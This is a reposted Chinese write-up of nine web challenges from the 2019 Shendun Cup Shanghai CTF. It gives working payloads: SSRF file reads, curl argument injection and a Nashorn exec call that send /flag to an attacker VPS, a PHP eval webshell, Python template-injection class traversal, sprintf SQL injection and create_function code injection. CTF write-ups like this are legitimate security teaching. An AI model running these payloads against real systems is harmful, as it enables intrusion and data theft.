转载

2019神盾杯上海市网络安全竞赛Web题解

本场比赛Web类题目共有11题,本WP仅写了其中9题,由于环境关闭,剩余两题未能复盘。

easyadmin

cookie使用了jwt,爆破key并伪造role值为admin,登陆即可获得flag

2019神盾杯上海市网络安全竞赛Web题解

easygallery-1

HTML源码里面提示

<?php $flag='flag in the /flag';?>

还有一个如下链接: http://xxxx/gallery.php?path=http://127.0.0.1:8082/gallery/static/img/portfolio-1.jpg

猜测可能是SSSRF读取/flag。先在自己VPS上随便写一个 <?php phpinfo();?> ,然后让题目尝试加载

http://xxxx/gallery.php?path=http://VPS/index.php 发现是空的,怀疑是不是有后缀jpg限制,所以尝试

http://xxxx/gallery.php?path=http://VPS/index.php%23.jpg

发现题目成功访问了我的VPS,并获得了PHPINFO内容。那么接下来就同样尝试使用file协议读取/flag。这里之所以加一个%23,是因为在HTML中,%23是锚点,所以后端程序获得的path参数对应的值为file:///flag,而加了%23.jpg又可以绕过题目限制。还可以看一下后端是使用什么程序发起请求的:

2019神盾杯上海市网络安全竞赛Web题解

最终payload: http://xxxx/gallery.php?path=file:///flag%23.jpg

easygallery-2

同样,在HTML源码里面有这样一个链接

http://xxx/download.php?f=http://127.0.0.1/img/portfolio-1.jpg

这次再使用file:///flag%23.jpg 会提示scheme error!,说明后端代码可能禁用了file协议。使用上题相同的方法,可以发现后台使用的是curl来访问我们的VPS。

2019神盾杯上海市网络安全竞赛Web题解

猜测后台可能是直接用拼接字符串,然后执行curl命令。尝试访问 http://xxx/download.php?f=http://39.108.143.11:8888/index.php+-d+mochazz%23.jpg 发现其请求是 POST方式,所以这题很有可能是命令执行。

2019神盾杯上海市网络安全竞赛Web题解

尝试使用 http://xxx/download.php?f=http://39.108.143.11:8888/index.php+-d+/flag%23.jpg 没有获得flag,继续尝试curl的-F参数。最终payload:

http://xxxx/download.php?f=http://VPS/index.php+-F+myflag=@/flag+-F+x=mochazz.jpg

2019神盾杯上海市网络安全竞赛Web题解

easyupload

上传文件后没有回显文件地址,但以base64图片形式显示。page参数存在文件包含,但是过滤了://无法使用php伪协议读取源码。后台代码应该类似 include $_GET['page'].'.php'; 。上传zip文件时,还会显示显示不允许的文件类型!upload jpg or gif。

2019神盾杯上海市网络安全竞赛Web题解

上传图片处还有一个功能,可以填在线图片地址,我们可以通过这里结合file协议读取/etc/passwd

2019神盾杯上海市网络安全竞赛Web题解

源码里面base64解密就是文件内容。尝试读取 /var/www/html/index.php 等文件都失败了,可能网站路径不是这个。但是我们可以通过 file:///proc/self/cwd/index.php 获得index.php文件。在linux中,每个进程都有一个PID,而/proc/xxx/下存放着与该进程相关的信息(这里的xxx就是PID)。/proc/xxx/下的cwd是软链接,self表示本进程。当我们通过访问Apache运行的网站时,/proc/self/cwd/就相当于apache的根目录,例如我本机Apache的根目录是/var/www/html

2019神盾杯上海市网络安全竞赛Web题解

file:///proc/self/cwd/index.php

2019神盾杯上海市网络安全竞赛Web题解

file:///proc/self/cwd/upload.php

2019神盾杯上海市网络安全竞赛Web题解

这题我们前面说过可以直接添加GIF89a上传图片马,接下来就是要找到图片路径了。

路径定义在upload.php中,关键代码如下:

$name= $_FILES['pic']['name'];
$ext = pathinfo($name,PATHINFO_EXTENSION);
$filename=basename($name,$ext);
$rootpath=$ddir.md5($filename).".".$name;

这样我们就可以获得图片路径了 /proc/self/cwd/$rootpath 。接下来直接利用题目最开始的文件包含 http://xxxx/index.php?page=submit 但是这里还有一个坑。坑在upload.php中有这样一段代码:

if(preg_match('/^ph(.*)$/i',$ext)){
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml','phps'])) {
        file_put_contents($rootpath,preg_replace("//?/","",file_get_contents($rootpath)));
    }
}

会把文件中的 ? 号给去掉,所以我们不能用 <?php phpcode;?> 这种写法,而要用 <script language="php">phpinfo();@eval($_GET[_]);</script> 接着直接包含即可执行命令:)当然,也可以不使用包含,直接访问马的路径。

2019神盾杯上海市网络安全竞赛Web题解

fast_calc_2

请求包类似:

POST /calc.php HTTP/1.1
Host: b4b74052eed440eb9c7899c932f61b6ce79f555733524dc2.changame.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; UM_distinctid=16b3177db8f50f-05893ba84daad1-1b29140e-100200-16b3177db90396; pgv_pvi=517607424; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1559903068,1560408162; __jsluid=ab86d4cd5c34bd66f80a8891dc2e731e; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1560434036
Connection: close
Content-Type: application/json
Content-Length: 27

{"target":"/","expr":"1+1"}

fuzz一下,发现可能是python的SSTI

2019神盾杯上海市网络安全竞赛Web题解

发现ban了 [] ,于是本地测成功一个payload

''.__getattribute__('__class__').__base__.__getattribute__(().__class__.__mro__.__getitem__(1),'__subc'+'lasses__')().__getitem__(40)('/flag').__getattribute__('read')()

但是题目提示没有 __base__ 属性,怀疑该属性应该是被ban了。

2019神盾杯上海市网络安全竞赛Web题解

后来队友测出直接用open方法,用空格隔开方法名和括号即可直接读取flag。

2019神盾杯上海市网络安全竞赛Web题解

然后看了一下源码

/proc/self/cwd/calc.php

<?php
$data = file_get_contents('php://input');
$data = json_decode($data,true);
$encode_data = base64_encode($data['expr']);
system('python ./final.py '.$encode_data);
?>

/proc/self/cwd/final.py

2019神盾杯上海市网络安全竞赛Web题解

fast_calc_1

初步判断,后端代码可能用的是nodejs或者JavaScript。

2019神盾杯上海市网络安全竞赛Web题解

尝试用Object.getOwnPropertyNames(this).join(‘::::::’)读取一下this对象属性,发现有java

2019神盾杯上海市网络安全竞赛Web题解

再次尝试java.language.String,可以确认后端用的是Java了

2019神盾杯上海市网络安全竞赛Web题解

Java中有一个新特性可以把JavaScript转成Java代码,所以这里可以执行JavaScript,即Nashorn

接下来尝试使用java代码读取flag

POST /calc.php HTTP/1.1
Host: xxx
Content-Type: application/json

{"target":"/","expr":"java.lang.Runtime.getRuntime().exec('curl VPS -d @/flag')"}

2019神盾杯上海市网络安全竞赛Web题解

easysqli

两个点:

  • username和password经过addslashes函数处理。
  • 当username为admin时,会显示后台执行的sql语句。

2019神盾杯上海市网络安全竞赛Web题解

利用条件比较苛刻,所以正常的SQL注入姿势是绕不过的,只能想到配合sprintf字符串格式化漏洞进行绕过,具体参考: https://paper.seebug.org/386/ 。猜测后台代码应该类似这样:

$user = addslashes($_GET['user']);
$pass = addslashes($_GET['pass']);
$sql = sprintf("select * from users where username='%s' and password='$pass'",$user);

最终利用payload: http://xxxx//result.php?user=admin&pass=%1$'=0#

2019神盾杯上海市网络安全竞赛Web题解

parser

题目附件:

https://pan.baidu.com/share/init?surl=2_-7WPVSIgf7uCQuPk2wMA 密码:qppg

我们需要把解析后的AST文件翻译成PHP代码。

2019神盾杯上海市网络安全竞赛Web题解

比如上面这段代码,翻译成PHP代码类似:

try {
    ('var_'.$_GET['num'])('cat /flag');
} catch (Exception $e) {}

具体参考: https://github.com/nikic/PHP-Parser/blob/master/grammar/php5.y

上面的代码告诉我们,肯定有一个变量var_xxx其值可以为命令执行函数,例如:system函数。那么我们先来看一下这些var_xxx变量的命名规则:

2019神盾杯上海市网络安全竞赛Web题解

可以看到 var_ 后面基本上跟的都是数字,那这题就很简单了,直接用BurpSuite爆破就行了。如果这题 var_ 后面跟的是不规则的字符,那可能就要全部还原一下PHP代码了。

2019神盾杯上海市网络安全竞赛Web题解

easymanager

题目提示:一个内部站点 所以可能存在内网。注册用户后登录,查看页面源代码会发现一个hint

hint: function.php source code may help u 发现存在 function.php~ 文件。

2019神盾杯上海市网络安全竞赛Web题解

访问 http:///xxxxxx/index.php?page=host ,会提示Permission Deny! 根据上面代码开头check_url函数可知,程序使用parse_url来解析url,而parse_url函数存在bypass。于是访问 http:///xxxxxx///index.php?page=host

2019神盾杯上海市网络安全竞赛Web题解

虽然是显示404,但是这个页面的源码中又有提示:

<!-- Under repair .. host page can be access temporarily via 70b185c80f225924f86d4a1dedddd120.php -->

直接访问 http://xxxx/70b185c80f225924f86d4a1dedddd120.php 会提示you can not visit it directly。所以我们要 http://xxxx/index.php?page=70b185c80f225924f86d4a1dedddd120 这样访问。

发现可以上传zip格式文件,那就可以考虑一下zip协议。上传一个zip压缩马,会发现其会读取zip文件的内容。

2019神盾杯上海市网络安全竞赛Web题解

那么我们可以尝试创建软链接文件,将其打包成zip并上传,这样就可以读取网站源码了。例如下面读取index.php源码。

2019神盾杯上海市网络安全竞赛Web题解

2019神盾杯上海市网络安全竞赛Web题解

index.php

2019神盾杯上海市网络安全竞赛Web题解

host.php、function.php

2019神盾杯上海市网络安全竞赛Web题解

/etc/apache2/sites-available/000-default.conf

2019神盾杯上海市网络安全竞赛Web题解

尝试读取 /flag 没读到。发现/etc/apache2/sites-available/000-default.conf中有/var/www/html/m4nag3r_u_dont_know目录,访问 http://xxxx/m4nag3r_u_dont_know/index.php 出错,那么尝试读取/var/www/html/m4nag3r_u_dont_know/index.php源码

// /var/www/html/m4nag3r_u_dont_know/index.php
<?php
create_function($_REQUEST['func'],'flag');
?>

最后就是create_function代码注入了

http://xxxx//m4nag3r_u_dont_know/?func=){}system(%27ls%20/%27);//

2019神盾杯上海市网络安全竞赛Web题解

http://xxxx//m4nag3r_u_dont_know/?func=){}system(%27cat%20/flag_e10adc3949ba59abbe56e057f20f883e%27);//

2019神盾杯上海市网络安全竞赛Web题解

原文  https://mochazz.github.io/2019/06/14/2019神盾杯上海市网络安全竞赛Web题解/
正文到此结束
Loading...